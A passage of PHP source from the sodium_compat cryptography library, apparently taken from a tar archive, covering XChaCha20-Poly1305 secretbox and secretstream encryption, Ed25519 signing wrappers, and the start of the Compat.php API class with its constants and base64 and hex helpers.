        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core32_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core32_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core32_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core32_Ed25519::verify_detached($signature, $message, $pk);
    }
}
Compat.php000064400000501525152222652550006516 0ustar00<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we offer a
 * compatible interface here. It will give you the correct results as if the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 *                                                                               *
 *     Until audited, this is probably not safe to use! DANGER WILL ROBINSON     *
 *                                                                               *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

/**
 * @api
 */
class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your platform.
     *
     * @var bool
     */
    public static $fastMult = false;

    const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

    // From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_KEYBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS128L_NPUBBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_ABYTES = 32;
    const CRYPTO_AEAD_AEGIS256_KEYBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS256_NPUBBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_ABYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
    const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;
    const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
    const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(
        #[\SensitiveParameter]
        &$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c & 0xff);
            $c >>= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin(
        #[\SensitiveParameter]
        $encoded,
        $variant,
        $ignore = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1);

        /** @var string $encoded */
        $encoded = (string) $encoded;

        // Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, '', $encoded);
        }

        try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_Original::decodeNoPadding($encoded);
                case self::BASE64_VARIANT_URLSAFE:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decodeNoPadding($encoded);
                default:
                    throw new SodiumException('invalid base64 variant identifier');
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException('invalid base64 string', 0, $ex);
        }
    }

    /**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64(
        #[\SensitiveParameter]
        $decoded,
        $variant
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return '';
        }

        switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException('invalid base64 variant identifier');
        }
    }

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex(
        #[\SensitiveParameter]
        $string
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex', $string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If < 0 if the left operand is less than the right
     *                      If = 0 if both strings are equal
     *                      If > 0 if the right operand is less than the left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare(
